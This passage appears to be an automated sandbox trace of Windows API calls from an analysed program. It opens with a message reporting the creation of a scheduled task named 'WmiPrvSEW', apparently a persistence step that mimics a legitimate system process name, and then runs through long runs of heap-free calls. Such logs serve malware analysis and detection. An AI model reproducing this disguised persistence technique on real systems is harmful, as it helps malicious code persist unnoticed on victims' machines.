lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0088.542] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 71 [0088.543] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0088.543] IUnknown:Release (This=0x266a00) returned 0x0 [0088.543] TaskScheduler:IUnknown:Release (This=0x267e30) returned 0x0 [0088.543] TaskScheduler:IUnknown:Release (This=0x267de0) returned 0x0 [0088.543] TaskScheduler:IUnknown:Release (This=0x27dee0) returned 0x1 [0088.543] lstrlenW (lpString="") returned 0 [0088.543] lstrlenW (lpString="5") returned 1 [0088.543] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0088.543] GetProcessHeap () returned 0xe0000 [0088.543] GetProcessHeap () returned 0xe0000 [0088.543] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc4c0) returned 1 [0088.543] GetProcessHeap () returned 0xe0000 [0088.543] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc4c0) returned 0x1fc [0088.545] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc4c0 | out: hHeap=0xe0000) returned 1 [0088.545] GetProcessHeap () returned 0xe0000 [0088.545] GetProcessHeap () returned 0xe0000 [0088.545] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5560) returned 1 [0088.545] GetProcessHeap () returned 0xe0000 [0088.545] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5560) returned 0x4 [0088.545] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5560 | out: hHeap=0xe0000) returned 1 [0088.545] GetProcessHeap () returned 0xe0000 [0088.545] GetProcessHeap () returned 0xe0000 [0088.545] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd690) returned 1 [0088.545] GetProcessHeap () returned 0xe0000 [0088.545] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd690) returned 0x16 [0088.545] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd690 | out: hHeap=0xe0000) returned 1 [0088.546] GetProcessHeap () returned 0xe0000 [0088.546] GetProcessHeap () returned 0xe0000 [0088.546] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd670) returned 1 [0088.546] GetProcessHeap () returned 0xe0000 [0088.546] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd670) returned 0x18 [0088.546] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd670 | out: hHeap=0xe0000) returned 1 [0088.546] GetProcessHeap () returned 0xe0000 [0088.546] GetProcessHeap () returned 0xe0000 [0088.546] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcee0) returned 1 [0088.546] GetProcessHeap () returned 0xe0000 [0088.546] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcee0) returned 0x20 [0088.547] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcee0 | out: hHeap=0xe0000) returned 1 [0088.547] GetProcessHeap () returned 0xe0000 [0088.547] GetProcessHeap () returned 0xe0000 [0088.547] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc160) returned 1 [0088.547] GetProcessHeap () returned 0xe0000 [0088.547] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc160) returned 0xa0 [0088.548] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc160 | out: hHeap=0xe0000) returned 1 [0088.548] GetProcessHeap () returned 0xe0000 [0088.548] GetProcessHeap () returned 0xe0000 [0088.548] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbe0) returned 1 [0088.548] GetProcessHeap () returned 0xe0000 [0088.548] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbbe0) returned 0x18 [0088.548] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbe0 | out: hHeap=0xe0000) returned 1 [0088.548] GetProcessHeap () returned 0xe0000 [0088.548] GetProcessHeap () returned 0xe0000 [0088.548] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcca0) returned 1 [0088.548] GetProcessHeap () returned 0xe0000 [0088.548] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcca0) returned 0x20 [0088.549] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcca0 | out: hHeap=0xe0000) returned 1 [0088.549] GetProcessHeap () returned 0xe0000 [0088.549] GetProcessHeap () returned 0xe0000 [0088.549] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3c0) returned 1 [0088.549] GetProcessHeap () returned 0xe0000 [0088.549] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc3c0) returned 0x8a [0088.550] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc3c0 | out: hHeap=0xe0000) returned 1 [0088.550] GetProcessHeap () returned 0xe0000 [0088.550] GetProcessHeap () returned 0xe0000 [0088.550] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6b0) returned 1 [0088.550] GetProcessHeap () returned 0xe0000 [0088.550] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd6b0) returned 0x18 [0088.550] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6b0 | out: hHeap=0xe0000) returned 1 [0088.550] GetProcessHeap () returned 0xe0000 [0088.550] GetProcessHeap () returned 0xe0000 [0088.550] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc70) returned 1 [0088.550] GetProcessHeap () returned 0xe0000 [0088.550] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcc70) returned 0x20 [0088.551] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc70 | out: hHeap=0xe0000) returned 1 [0088.551] GetProcessHeap () returned 0xe0000 [0088.551] GetProcessHeap () returned 0xe0000 [0088.551] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfde20) returned 1 [0088.551] GetProcessHeap () returned 0xe0000 [0088.551] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfde20) returned 0x8c [0088.551] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfde20 | out: hHeap=0xe0000) returned 1 [0088.551] GetProcessHeap () returned 0xe0000 [0088.551] GetProcessHeap () returned 0xe0000 [0088.552] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd650) returned 1 [0088.552] GetProcessHeap () returned 0xe0000 [0088.552] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd650) returned 0x18 [0088.552] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd650 | out: hHeap=0xe0000) returned 1 [0088.552] GetProcessHeap () returned 0xe0000 [0088.552] GetProcessHeap () returned 0xe0000 [0088.552] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc40) returned 1 [0088.552] GetProcessHeap () returned 0xe0000 [0088.552] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcc40) returned 0x20 [0088.552] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcc40 | out: hHeap=0xe0000) returned 1 [0088.552] GetProcessHeap () returned 0xe0000 [0088.552] GetProcessHeap () returned 0xe0000 [0088.552] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc4a0) returned 1 [0088.552] GetProcessHeap () returned 0xe0000 [0088.552] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc4a0) returned 0xe [0088.553] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc4a0 | out: hHeap=0xe0000) returned 1 [0088.553] GetProcessHeap () returned 0xe0000 [0088.553] GetProcessHeap () returned 0xe0000 [0088.553] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc480) returned 1 [0088.553] GetProcessHeap () returned 0xe0000 [0088.553] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc480) returned 0x18 [0088.553] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc480 | out: hHeap=0xe0000) returned 1 [0088.553] GetProcessHeap () returned 0xe0000 [0088.553] GetProcessHeap () returned 0xe0000 [0088.553] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5e70) returned 1 [0088.553] GetProcessHeap () returned 0xe0000 [0088.553] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5e70) returned 0x20 [0088.553] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5e70 | out: hHeap=0xe0000) returned 1 [0088.553] GetProcessHeap () returned 0xe0000 [0088.553] GetProcessHeap () returned 0xe0000 [0088.554] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbd60) returned 1 [0088.554] GetProcessHeap () returned 0xe0000 [0088.554] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbd60) returned 0x208 [0088.554] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbd60 | out: hHeap=0xe0000) returned 1 [0088.554] GetProcessHeap () returned 0xe0000 [0088.554] GetProcessHeap () returned 0xe0000 [0088.554] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbc0) returned 1 [0088.554] GetProcessHeap () returned 0xe0000 [0088.554] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbbc0) returned 0x18 [0088.554] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbbc0 | out: hHeap=0xe0000) returned 1 [0088.554] GetProcessHeap () returned 0xe0000 [0088.554] GetProcessHeap () returned 0xe0000 [0088.554] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d80) returned 1 [0088.554] GetProcessHeap () returned 0xe0000 [0088.554] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5d80) returned 0x20 [0088.555] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d80 | out: hHeap=0xe0000) returned 1 [0088.555] GetProcessHeap () returned 0xe0000 [0088.555] GetProcessHeap () returned 0xe0000 [0088.555] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd410) returned 1 [0088.555] GetProcessHeap () returned 0xe0000 [0088.555] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd410) returned 0x200 [0088.556] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd410 | out: hHeap=0xe0000) returned 1 [0088.556] GetProcessHeap () returned 0xe0000 [0088.556] GetProcessHeap () returned 0xe0000 [0088.556] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbc00) returned 1 [0088.556] GetProcessHeap () returned 0xe0000 [0088.556] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbc00) returned 0x18 [0088.556] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbc00 | out: hHeap=0xe0000) returned 1 [0088.556] GetProcessHeap () returned 0xe0000 [0088.556] GetProcessHeap () returned 0xe0000 [0088.556] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5cf0) returned 1 [0088.556] GetProcessHeap () returned 0xe0000 [0088.556] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5cf0) returned 0x20 [0088.557] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5cf0 | out: hHeap=0xe0000) returned 1 [0088.557] GetProcessHeap () returned 0xe0000 [0088.557] GetProcessHeap () returned 0xe0000 [0088.557] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc370) returned 1 [0088.557] GetProcessHeap () returned 0xe0000 [0088.557] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc370) returned 0x14 [0088.557] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc370 | out: hHeap=0xe0000) returned 1 [0088.557] GetProcessHeap () returned 0xe0000 [0088.557] GetProcessHeap () returned 0xe0000 [0088.557] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc350) returned 1 [0088.557] GetProcessHeap () returned 0xe0000 [0088.557] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc350) returned 0x18 [0088.557] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc350 | out: hHeap=0xe0000) returned 1 [0088.557] GetProcessHeap () returned 0xe0000 [0088.557] GetProcessHeap () returned 0xe0000 [0088.557] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c30) returned 1 [0088.557] GetProcessHeap () returned 0xe0000 [0088.557] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5c30) returned 0x20 [0088.558] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c30 | out: hHeap=0xe0000) returned 1 [0088.558] GetProcessHeap () returned 0xe0000 [0088.558] GetProcessHeap () returned 0xe0000 [0088.558] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc390) returned 1 [0088.558] GetProcessHeap () returned 0xe0000 [0088.558] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc390) returned 0x16 [0088.558] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc390 | out: hHeap=0xe0000) returned 1 [0088.558] GetProcessHeap () returned 0xe0000 [0088.558] GetProcessHeap () returned 0xe0000 [0088.558] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc210) returned 1 [0088.558] GetProcessHeap () returned 0xe0000 [0088.558] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc210) returned 0x18 [0088.558] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc210 | out: hHeap=0xe0000) returned 1 [0088.558] GetProcessHeap () returned 0xe0000 [0088.558] GetProcessHeap () returned 0xe0000 [0088.558] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c00) returned 1 [0088.558] GetProcessHeap () returned 0xe0000 [0088.558] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5c00) returned 0x20 [0088.559] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c00 | out: hHeap=0xe0000) returned 1 [0088.559] GetProcessHeap () returned 0xe0000 [0088.559] GetProcessHeap () returned 0xe0000 [0088.559] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb40) returned 1 [0088.559] GetProcessHeap () returned 0xe0000 [0088.559] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbb40) returned 0x2 [0088.559] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb40 | out: hHeap=0xe0000) returned 1 [0088.559] GetProcessHeap () returned 0xe0000 [0088.559] GetProcessHeap () returned 0xe0000 [0088.559] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a50) returned 1 [0088.559] GetProcessHeap () returned 0xe0000 [0088.559] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5a50) returned 0x20 [0088.560] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a50 | out: hHeap=0xe0000) returned 1 [0088.560] GetProcessHeap () returned 0xe0000 [0088.560] GetProcessHeap () returned 0xe0000 [0088.560] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a80) returned 1 [0088.560] GetProcessHeap () returned 0xe0000 [0088.560] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5a80) returned 0x20 [0088.560] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5a80 | out: hHeap=0xe0000) returned 1 [0088.560] GetProcessHeap () returned 0xe0000 [0088.560] GetProcessHeap () returned 0xe0000 [0088.560] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ab0) returned 1 [0088.560] GetProcessHeap () returned 0xe0000 [0088.560] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5ab0) returned 0x20 [0088.561] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ab0 | out: hHeap=0xe0000) returned 1 [0088.561] GetProcessHeap () returned 0xe0000 [0088.561] GetProcessHeap () returned 0xe0000 [0088.561] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ae0) returned 1 [0088.561] GetProcessHeap () returned 0xe0000 [0088.561] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5ae0) returned 0x20 [0088.562] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ae0 | out: hHeap=0xe0000) returned 1 [0088.562] GetProcessHeap () returned 0xe0000 [0088.562] GetProcessHeap () returned 0xe0000 [0088.562] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfccd0) returned 1 [0088.562] GetProcessHeap () returned 0xe0000 [0088.562] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfccd0) returned 0x20 [0088.562] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfccd0 | out: hHeap=0xe0000) returned 1 [0088.562] GetProcessHeap () returned 0xe0000 [0088.562] GetProcessHeap () returned 0xe0000 [0088.562] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd7b0) returned 1 [0088.562] GetProcessHeap () returned 0xe0000 [0088.562] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd7b0) returned 0xe [0088.563] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd7b0 | out: hHeap=0xe0000) returned 1 [0088.563] GetProcessHeap () returned 0xe0000 [0088.563] GetProcessHeap () returned 0xe0000 [0088.563] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd00) returned 1 [0088.563] GetProcessHeap () returned 0xe0000 [0088.563] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcd00) returned 0x20 [0088.563] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd00 | out: hHeap=0xe0000) returned 1 [0088.563] GetProcessHeap () returned 0xe0000 [0088.563] GetProcessHeap () returned 0xe0000 [0088.563] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7be0) returned 1 [0088.563] GetProcessHeap () returned 0xe0000 [0088.564] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf7be0) returned 0x30 [0088.564] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7be0 | out: hHeap=0xe0000) returned 1 [0088.564] GetProcessHeap () returned 0xe0000 [0088.564] GetProcessHeap () returned 0xe0000 [0088.564] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd30) returned 1 [0088.564] GetProcessHeap () returned 0xe0000 [0088.564] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcd30) returned 0x20 [0088.565] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd30 | out: hHeap=0xe0000) returned 1 [0088.565] GetProcessHeap () returned 0xe0000 [0088.565] GetProcessHeap () returned 0xe0000 [0088.565] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7c20) returned 1 [0088.565] GetProcessHeap () returned 0xe0000 [0088.565] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf7c20) returned 0x30 [0088.565] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf7c20 | out: hHeap=0xe0000) returned 1 [0088.565] GetProcessHeap () returned 0xe0000 [0088.565] GetProcessHeap () returned 0xe0000 [0088.566] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfceb0) returned 1 [0088.566] GetProcessHeap () returned 0xe0000 [0088.566] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfceb0) returned 0x20 [0088.566] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfceb0 | out: hHeap=0xe0000) returned 1 [0088.566] GetProcessHeap () returned 0xe0000 [0088.566] GetProcessHeap () returned 0xe0000 [0088.566] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6d0) returned 1 [0088.566] GetProcessHeap () returned 0xe0000 [0088.566] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd6d0) returned 0xe [0088.566] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6d0 | out: hHeap=0xe0000) returned 1 [0088.566] GetProcessHeap () returned 0xe0000 [0088.566] GetProcessHeap () returned 0xe0000 [0088.566] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce80) returned 1 [0088.566] GetProcessHeap () returned 0xe0000 [0088.566] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce80) returned 0x20 [0088.567] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce80 | out: hHeap=0xe0000) returned 1 [0088.567] GetProcessHeap () returned 0xe0000 [0088.567] GetProcessHeap () returned 0xe0000 [0088.567] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6f0) returned 1 [0088.567] GetProcessHeap () returned 0xe0000 [0088.567] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd6f0) returned 0x16 [0088.567] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6f0 | out: hHeap=0xe0000) returned 1 [0088.567] GetProcessHeap () returned 0xe0000 [0088.567] GetProcessHeap () returned 0xe0000 [0088.567] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce50) returned 1 [0088.567] GetProcessHeap () returned 0xe0000 [0088.567] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce50) returned 0x20 [0088.568] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce50 | out: hHeap=0xe0000) returned 1 [0088.568] GetProcessHeap () returned 0xe0000 [0088.568] GetProcessHeap () returned 0xe0000 [0088.568] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd710) returned 1 [0088.568] GetProcessHeap () returned 0xe0000 [0088.568] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd710) returned 0x16 [0088.568] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd710 | out: hHeap=0xe0000) returned 1 [0088.568] GetProcessHeap () returned 0xe0000 [0088.568] GetProcessHeap () returned 0xe0000 [0088.568] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce20) returned 1 [0088.568] GetProcessHeap () returned 0xe0000 [0088.568] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce20) returned 0x20 [0088.569] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce20 | out: hHeap=0xe0000) returned 1 [0088.569] GetProcessHeap () returned 0xe0000 [0088.569] GetProcessHeap () returned 0xe0000 [0088.569] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0x119d60) returned 1 [0088.569] GetProcessHeap () returned 0xe0000 [0088.569] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0x119d60) returned 0x82 [0088.569] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0x119d60 | out: hHeap=0xe0000) returned 1 [0088.570] GetProcessHeap () returned 0xe0000 [0088.570] GetProcessHeap () returned 0xe0000 [0088.570] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdf0) returned 1 [0088.570] GetProcessHeap () returned 0xe0000 [0088.570] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcdf0) returned 0x20 [0088.570] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdf0 | out: hHeap=0xe0000) returned 1 [0088.570] GetProcessHeap () returned 0xe0000 [0088.570] GetProcessHeap () returned 0xe0000 [0088.570] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd750) returned 1 [0088.570] GetProcessHeap () returned 0xe0000 [0088.570] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd750) returned 0xe [0088.570] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd750 | out: hHeap=0xe0000) returned 1 [0088.570] GetProcessHeap () returned 0xe0000 [0088.570] GetProcessHeap () returned 0xe0000 [0088.571] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdc0) returned 1 [0088.571] GetProcessHeap () returned 0xe0000 [0088.571] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcdc0) returned 0x20 [0088.571] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdc0 | out: hHeap=0xe0000) returned 1 [0088.571] GetProcessHeap () returned 0xe0000 [0088.571] GetProcessHeap () returned 0xe0000 [0088.571] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd770) returned 1 [0088.571] GetProcessHeap () returned 0xe0000 [0088.571] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd770) returned 0xa [0088.571] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd770 | out: hHeap=0xe0000) returned 1 [0088.571] GetProcessHeap () returned 0xe0000 [0088.571] GetProcessHeap () returned 0xe0000 [0088.571] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd90) returned 1 [0088.571] GetProcessHeap () returned 0xe0000 [0088.571] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcd90) returned 0x20 [0088.572] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd90 | out: hHeap=0xe0000) returned 1 [0088.572] GetProcessHeap () returned 0xe0000 [0088.572] GetProcessHeap () returned 0xe0000 [0088.572] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd790) returned 1 [0088.572] GetProcessHeap () returned 0xe0000 [0088.572] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd790) returned 0xc [0088.572] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd790 | out: hHeap=0xe0000) returned 1 [0088.572] GetProcessHeap () returned 0xe0000 [0088.572] GetProcessHeap () returned 0xe0000 [0088.572] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd60) returned 1 [0088.572] GetProcessHeap () returned 0xe0000 [0088.572] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcd60) returned 0x20 [0088.573] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcd60 | out: hHeap=0xe0000) returned 1 [0088.573] GetProcessHeap () returned 0xe0000 [0088.573] GetProcessHeap () returned 0xe0000 [0088.573] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb60) returned 1 [0088.573] GetProcessHeap () returned 0xe0000 [0088.573] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbb60) returned 0x18 [0088.573] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb60 | out: hHeap=0xe0000) returned 1 [0088.573] GetProcessHeap () returned 0xe0000 [0088.573] GetProcessHeap () returned 0xe0000 [0088.573] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b10) returned 1 [0088.573] GetProcessHeap () returned 0xe0000 [0088.573] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5b10) returned 0x20 [0088.574] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b10 | out: hHeap=0xe0000) returned 1 [0088.574] GetProcessHeap () returned 0xe0000 [0088.574] GetProcessHeap () returned 0xe0000 [0088.574] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b40) returned 1 [0088.574] GetProcessHeap () returned 0xe0000 [0088.574] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5b40) returned 0x20 [0088.574] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b40 | out: hHeap=0xe0000) returned 1 [0088.574] GetProcessHeap () returned 0xe0000 [0088.574] GetProcessHeap () returned 0xe0000 [0088.574] HeapValidate 